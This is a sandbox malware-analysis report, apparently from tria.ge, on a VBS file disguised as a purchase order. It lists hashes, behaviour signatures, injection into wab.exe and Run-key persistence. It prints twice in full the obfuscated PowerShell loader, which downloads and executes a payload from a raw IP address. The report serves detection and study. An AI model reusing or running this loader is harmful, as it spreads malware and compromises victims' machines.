Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    130s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    18/04/2024, 19:02

General

  • Target

    PO_La-Tanerie04180240124.vbs

  • Size

    187KB

  • MD5

    2ea61e83ee687b29c058279893e1df8c

  • SHA1

    0c6fc46e4a0bf4c62a5cd2e263313e82f2977a50

  • SHA256

    a3483bf7a148434868b34bae2923006067f9e5e3ef2a2f62efaf6a32b93cddfc

  • SHA512

    a810bd13d522775d4d9c3ef3e6775da5cc34db90d4826da9c96fb37c1d84dd37ad5eb84fc2c3095b3a9a065fbbd54a4892f96d867f879de14708d4f409f82ca8

  • SSDEEP

    3072:2vU8jq6KK8ccABOwbDS2y2zJETxUuoHh38zH/O4SCvewvB7wrsCREBJo5mFSar+c:J6R8ccABOwbDA2zJETxVu1iH/GsW3EBB

Score
8/10

Malware Config

Signatures

  • Adds policy Run key to start application 2 TTPs 2 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious behavior: MapViewOfSection 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of WriteProcessMemory
    PID:1256
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO_La-Tanerie04180240124.vbs"
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of WriteProcessMemory
      PID:3060
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Projektforlb = 1;$Zenithward='Substrin';$Zenithward+='g';Function Recoverability($Prvekrendes){$Afproevning=$Prvekrendes.Length-$Projektforlb;For($Automatpiloten=1; $Automatpiloten -lt $Afproevning; $Automatpiloten+=(2)){$Overgraduated+=$Prvekrendes.$Zenithward.Invoke($Automatpiloten, $Projektforlb);}$Overgraduated;}function Prespontaneously($Fstningen){. ($Herreekviperingshandlere) ($Fstningen);}$Smutchiest=Recoverability 'UMFofzCislBlLa./ 5,.,0O P( WCiUn,d.o wUsA ,N TP K1.0I.K0.; WUi n.6V4S;S DxN6.4 ;Q .rPvQ: 1W2 1,. 0 )B SG eDcTkGoS/T2.0C1 0S0.1.0A1 BF iOrAeUf oPxR/B1.2,1U.B0 ';$agrestian=Recoverability 'AU sFe rH-KAKg eCnItM ';$Slvsindets=Recoverability ' hBtst.pI: /./P8Z7..K1 2 1,..1,0T5D.A1 6,3,/,TTapkTt.r eugSuJl,eVrFi n gSs aMfEtFa,l eBrO. d w p. ';$Tersely=Recoverability ',>, ';$Herreekviperingshandlere=Recoverability ' i eMx ';$supercilia = Recoverability 'Ce cFh o %MappTpWdDaBt aW%S\FSFuMk.k,eSrFrSoBe rT.TTDe,t. ,& & ,e cCh oB $F ';Prespontaneously (Recoverability 'S$ag lTo bSaSl :SE tMe r n a lSi tay,=p( c.m dK O/.c, ,$Gs uFp e rFc iRlLiUa.) ');Prespontaneously (Recoverability ' $Cg.l.o bMaRl :RL.a.g.eOtus.=C$wSLl v sFiEn d,eSt,s .,sEpKlRi t ( $TT e,r sFeyl yR)d ');$Slvsindets=$Lagets[0];Prespontaneously (Recoverability 'S$ g lBo bSa l :AA rPg eJn tCiPt e =NN.e.w - O,bMjReTcCt DSSyVs t,ePmS. N edtQ. WUe,bMC lSiHeSn t ');Prespontaneously (Recoverability ',$HA rFg eDn,t,iFtBeE.UH eFa,dCeHrKsG[.$,aSg,rMeSsetQi.aGn ]T=S$OSpmHu,tTcFh.i eHsFt ');$unwedged=Recoverability ' A rsgReDnVtZi.t eH.RD oRwHnGl.oCa.d F,i l eS(S$.S,l v.sRi,n dSeWtNs,,.$ TBrRaPnNsApFa l,a.tTiDn.e.) ';$unwedged=$Eternality[1]+$unwedged;$Transpalatine=$Eternality[0];Prespontaneously (Recoverability 'U$ g.l oTb a.lG:,O,fFf iMc eorpe,nmsD= (,T,e sStL-tPGahtDh ,$STSr,aSn,sApEa l,aCt ifnte )H ');while (!$Officerens) {Prespontaneously (Recoverability ',$,gBlSoAbTaUlE:.F.a i r.y.=C$ tOr u.es ') ;Prespontaneously $unwedged;Prespontaneously (Recoverability ' SAt a rBtR-PS.l eUe p O4 ');Prespontaneously (Recoverability ' $.g lPoEbpaKl :.O fMfOiucDe rVe,n.sA=H(NT e s tF- PPattBh N$STHrTaSn.s p,aPl.a teiPnveT). ') ;Prespontaneously (Recoverability ' $CgWl,ovbOa.lO:,GaaDuRsHsZbSr,e.dPd e,rBn.eAsH=,$Og,l o b asl :,sHtLr.a.nHgTl,eShPoSl.d.+J+.% $ L,aMgHe,t,sO.Sc,o uJnPt. ') ;$Slvsindets=$Lagets[$Gaussbreddernes];}Prespontaneously (Recoverability ' $Bg l.oRbGaGlP: S tAy n e b=P KGPeUtW- CBoSn,tTeUnNt, $ T,rFatnVs,pSa l a.tkiKnFe ');Prespontaneously (Recoverability '.$Ag lSo bIaSl :FC e n tSr a lUsky,g,e hfuIs eLnDe.sT B=S [ASKy.s tTeSmE..CAoVnBv eKr,tV]E:,:OF.r o m BBa,sReR6 4.SAt r,iUnSg (.$RSSt y nMe )S ');Prespontaneously (Recoverability ',$.g,l oUbCaGl :MSCc,htn oCoRk s, T=S C[RS.y sNt.e m .,TAePxbt.. E n,cPo d,i nPg ] :H: A SJC,ITIS.BG eRtaSptSr iUn gS( $FC ePn tFrTa l s yBgRe h uMs e n e sb). ');Prespontaneously (Recoverability ' $Cg,l,o b.a,lP: LRyMmUpWhUoFc.y tUo.t iMc,=.$ SFc h nMo.o.k sU.Vs u.b sSt,rtiBn.gS(G3.2b1.8D9R0 ,,2U5I0H0 8C) ');Prespontaneously $Lymphocytotic;"
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:796
        • C:\Windows\system32\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sukkerroer.Tet && echo $"
          4⤵
            PID:2764
          • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Projektforlb = 1;$Zenithward='Substrin';$Zenithward+='g';Function Recoverability($Prvekrendes){$Afproevning=$Prvekrendes.Length-$Projektforlb;For($Automatpiloten=1; $Automatpiloten -lt $Afproevning; $Automatpiloten+=(2)){$Overgraduated+=$Prvekrendes.$Zenithward.Invoke($Automatpiloten, $Projektforlb);}$Overgraduated;}function Prespontaneously($Fstningen){. ($Herreekviperingshandlere) ($Fstningen);}$Smutchiest=Recoverability 'UMFofzCislBlLa./ 5,.,0O P( WCiUn,d.o wUsA ,N TP K1.0I.K0.; WUi n.6V4S;S DxN6.4 ;Q .rPvQ: 1W2 1,. 0 )B SG eDcTkGoS/T2.0C1 0S0.1.0A1 BF iOrAeUf oPxR/B1.2,1U.B0 ';$agrestian=Recoverability 'AU sFe rH-KAKg eCnItM ';$Slvsindets=Recoverability ' hBtst.pI: /./P8Z7..K1 2 1,..1,0T5D.A1 6,3,/,TTapkTt.r eugSuJl,eVrFi n gSs aMfEtFa,l eBrO. d w p. ';$Tersely=Recoverability ',>, ';$Herreekviperingshandlere=Recoverability ' i eMx ';$supercilia = Recoverability 'Ce cFh o %MappTpWdDaBt aW%S\FSFuMk.k,eSrFrSoBe rT.TTDe,t. ,& & ,e cCh oB $F ';Prespontaneously (Recoverability 'S$ag lTo bSaSl :SE tMe r n a lSi tay,=p( c.m dK O/.c, ,$Gs uFp e rFc iRlLiUa.) ');Prespontaneously (Recoverability ' $Cg.l.o bMaRl :RL.a.g.eOtus.=C$wSLl v sFiEn d,eSt,s .,sEpKlRi t ( $TT e,r sFeyl yR)d ');$Slvsindets=$Lagets[0];Prespontaneously (Recoverability 'S$ g lBo bSa l :AA rPg eJn tCiPt e =NN.e.w - O,bMjReTcCt DSSyVs t,ePmS. N edtQ. WUe,bMC lSiHeSn t ');Prespontaneously (Recoverability ',$HA rFg eDn,t,iFtBeE.UH eFa,dCeHrKsG[.$,aSg,rMeSsetQi.aGn ]T=S$OSpmHu,tTcFh.i eHsFt ');$unwedged=Recoverability ' A rsgReDnVtZi.t eH.RD oRwHnGl.oCa.d F,i l eS(S$.S,l v.sRi,n dSeWtNs,,.$ TBrRaPnNsApFa l,a.tTiDn.e.) ';$unwedged=$Eternality[1]+$unwedged;$Transpalatine=$Eternality[0];Prespontaneously (Recoverability 'U$ g.l oTb a.lG:,O,fFf iMc eorpe,nmsD= (,T,e sStL-tPGahtDh ,$STSr,aSn,sApEa l,aCt ifnte )H ');while (!$Officerens) {Prespontaneously (Recoverability ',$,gBlSoAbTaUlE:.F.a i r.y.=C$ tOr u.es ') ;Prespontaneously $unwedged;Prespontaneously (Recoverability ' SAt a rBtR-PS.l eUe p O4 ');Prespontaneously (Recoverability ' $.g lPoEbpaKl :.O fMfOiucDe rVe,n.sA=H(NT e s tF- PPattBh N$STHrTaSn.s p,aPl.a teiPnveT). ') ;Prespontaneously (Recoverability ' $CgWl,ovbOa.lO:,GaaDuRsHsZbSr,e.dPd e,rBn.eAsH=,$Og,l o b asl :,sHtLr.a.nHgTl,eShPoSl.d.+J+.% $ L,aMgHe,t,sO.Sc,o uJnPt. ') ;$Slvsindets=$Lagets[$Gaussbreddernes];}Prespontaneously (Recoverability ' $Bg l.oRbGaGlP: S tAy n e b=P KGPeUtW- CBoSn,tTeUnNt, $ T,rFatnVs,pSa l a.tkiKnFe ');Prespontaneously (Recoverability '.$Ag lSo bIaSl :FC e n tSr a lUsky,g,e hfuIs eLnDe.sT B=S [ASKy.s tTeSmE..CAoVnBv eKr,tV]E:,:OF.r o m BBa,sReR6 4.SAt r,iUnSg (.$RSSt y nMe )S ');Prespontaneously (Recoverability ',$.g,l oUbCaGl :MSCc,htn oCoRk s, T=S C[RS.y sNt.e m .,TAePxbt.. E n,cPo d,i nPg ] :H: A SJC,ITIS.BG eRtaSptSr iUn gS( $FC ePn tFrTa l s yBgRe h uMs e n e sb). ');Prespontaneously (Recoverability ' $Cg,l,o b.a,lP: LRyMmUpWhUoFc.y tUo.t iMc,=.$ SFc h nMo.o.k sU.Vs u.b sSt,rtiBn.gS(G3.2b1.8D9R0 ,,2U5I0H0 8C) ');Prespontaneously $Lymphocytotic;"
            4⤵
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1980
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sukkerroer.Tet && echo $"
              5⤵
                PID:2440
              • C:\Program Files (x86)\windows mail\wab.exe
                "C:\Program Files (x86)\windows mail\wab.exe"
                5⤵
                • Suspicious use of NtCreateThreadExHideFromDebugger
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: MapViewOfSection
                PID:1552
        • C:\Windows\SysWOW64\AtBroker.exe
          "C:\Windows\SysWOW64\AtBroker.exe"
          2⤵
          • Adds policy Run key to start application
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          PID:2180

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

        Filesize

        68KB

        MD5

        29f65ba8e88c063813cc50a4ea544e93

        SHA1

        05a7040d5c127e68c25d81cc51271ffb8bef3568

        SHA256

        1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

        SHA512

        e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

      • C:\Users\Admin\AppData\Local\Temp\Cab76D7.tmp

        Filesize

        65KB

        MD5

        ac05d27423a85adc1622c714f2cb6184

        SHA1

        b0fe2b1abddb97837ea0195be70ab2ff14d43198

        SHA256

        c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

        SHA512

        6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

      • C:\Users\Admin\AppData\Local\Temp\Tar7747.tmp

        Filesize

        171KB

        MD5

        9c0c641c06238516f27941aa1166d427

        SHA1

        64cd549fb8cf014fcd9312aa7a5b023847b6c977

        SHA256

        4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

        SHA512

        936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

      • C:\Users\Admin\AppData\Local\Temp\Tar79AE.tmp

        Filesize

        177KB

        MD5

        435a9ac180383f9fa094131b173a2f7b

        SHA1

        76944ea657a9db94f9a4bef38f88c46ed4166983

        SHA256

        67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

        SHA512

        1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UECCQTAN3JYC658S80PL.temp

        Filesize

        7KB

        MD5

        941f26c6c498c29941013d0c9976b97e

        SHA1

        0676a435d6ad4a1d3ca5bd65c3b3c1c9e5475f85

        SHA256

        f6f5a8a06fda2f57ecf00056c66b6157b5074bd6a222ad2111ad40fdc82af390

        SHA512

        c28c537fd7edf9adae8ec4296a360cd2f2d74b56dd34b821c7834278f0b307e7ffec1b74eaf6be3967f6416c00b179478c7713eff6a8b4bf7355e8b7a6afd98e

      • C:\Users\Admin\AppData\Roaming\Sukkerroer.Tet

        Filesize

        451KB

        MD5

        20a3bfc6ed1ce2abd176c7abffe0d815

        SHA1

        c08ac2fe2540df9063f25661db898865b3b189d1

        SHA256

        615247c375706fcfc9261502cd1b15ad30d9491913ae418d2e9f6723dce466b9

        SHA512

        ac141f428b4d71e19916f253821c2bcfffe420c57425f1114ccea3ef79a5ce00baf89d811bd740e687cd5ed7498cb6d99d0c7d091291aed1df48558094ea51df

      • memory/796-94-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-97-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-79-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-80-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-81-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

        Filesize

        9.6MB

      • memory/796-82-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-77-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

        Filesize

        9.6MB

      • memory/796-117-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

        Filesize

        9.6MB

      • memory/796-78-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-76-0x0000000002040000-0x0000000002048000-memory.dmp

        Filesize

        32KB

      • memory/796-96-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-91-0x000007FEF5790000-0x000007FEF612D000-memory.dmp

        Filesize

        9.6MB

      • memory/796-95-0x0000000002770000-0x00000000027F0000-memory.dmp

        Filesize

        512KB

      • memory/796-75-0x000000001B310000-0x000000001B5F2000-memory.dmp

        Filesize

        2.9MB

      • memory/1256-127-0x00000000038B0000-0x00000000039B0000-memory.dmp

        Filesize

        1024KB

      • memory/1256-130-0x00000000089F0000-0x00000000092CA000-memory.dmp

        Filesize

        8.9MB

      • memory/1256-138-0x00000000089F0000-0x00000000092CA000-memory.dmp

        Filesize

        8.9MB

      • memory/1552-121-0x0000000020CF0000-0x0000000020FF3000-memory.dmp

        Filesize

        3.0MB

      • memory/1552-119-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-134-0x00000000003D0000-0x00000000003F3000-memory.dmp

        Filesize

        140KB

      • memory/1552-128-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-126-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-123-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-122-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-116-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-120-0x00000000772C0000-0x0000000077469000-memory.dmp

        Filesize

        1.7MB

      • memory/1552-129-0x00000000003D0000-0x00000000003F3000-memory.dmp

        Filesize

        140KB

      • memory/1552-118-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-110-0x00000000772C0000-0x0000000077469000-memory.dmp

        Filesize

        1.7MB

      • memory/1552-111-0x00000000774B0000-0x0000000077586000-memory.dmp

        Filesize

        856KB

      • memory/1552-112-0x00000000774E6000-0x00000000774E7000-memory.dmp

        Filesize

        4KB

      • memory/1552-113-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-133-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1552-115-0x0000000000400000-0x0000000000581000-memory.dmp

        Filesize

        1.5MB

      • memory/1980-89-0x00000000024C0000-0x0000000002500000-memory.dmp

        Filesize

        256KB

      • memory/1980-98-0x00000000024C0000-0x0000000002500000-memory.dmp

        Filesize

        256KB

      • memory/1980-109-0x00000000774B0000-0x0000000077586000-memory.dmp

        Filesize

        856KB

      • memory/1980-108-0x0000000005DC0000-0x0000000005EC0000-memory.dmp

        Filesize

        1024KB

      • memory/1980-106-0x00000000772C0000-0x0000000077469000-memory.dmp

        Filesize

        1.7MB

      • memory/1980-104-0x00000000024C0000-0x0000000002500000-memory.dmp

        Filesize

        256KB

      • memory/1980-103-0x0000000006360000-0x000000000A95B000-memory.dmp

        Filesize

        70.0MB

      • memory/1980-102-0x00000000050F0000-0x00000000050F1000-memory.dmp

        Filesize

        4KB

      • memory/1980-101-0x0000000073370000-0x000000007391B000-memory.dmp

        Filesize

        5.7MB

      • memory/1980-100-0x0000000073370000-0x000000007391B000-memory.dmp

        Filesize

        5.7MB

      • memory/1980-99-0x0000000005DC0000-0x0000000005EC0000-memory.dmp

        Filesize

        1024KB

      • memory/1980-114-0x0000000073370000-0x000000007391B000-memory.dmp

        Filesize

        5.7MB

      • memory/1980-92-0x00000000024C0000-0x0000000002500000-memory.dmp

        Filesize

        256KB

      • memory/1980-87-0x0000000073370000-0x000000007391B000-memory.dmp

        Filesize

        5.7MB

      • memory/1980-90-0x00000000024C0000-0x0000000002500000-memory.dmp

        Filesize

        256KB

      • memory/1980-88-0x0000000073370000-0x000000007391B000-memory.dmp

        Filesize

        5.7MB

      • memory/2180-135-0x0000000001F30000-0x0000000002233000-memory.dmp

        Filesize

        3.0MB

      • memory/2180-136-0x0000000000070000-0x00000000000B0000-memory.dmp

        Filesize

        256KB

      • memory/2180-137-0x0000000001C60000-0x0000000001D02000-memory.dmp

        Filesize

        648KB

      • memory/2180-132-0x0000000000070000-0x00000000000B0000-memory.dmp

        Filesize

        256KB

      • memory/2180-139-0x0000000000070000-0x00000000000B0000-memory.dmp

        Filesize

        256KB

      • memory/2180-140-0x0000000001C60000-0x0000000001D02000-memory.dmp

        Filesize

        648KB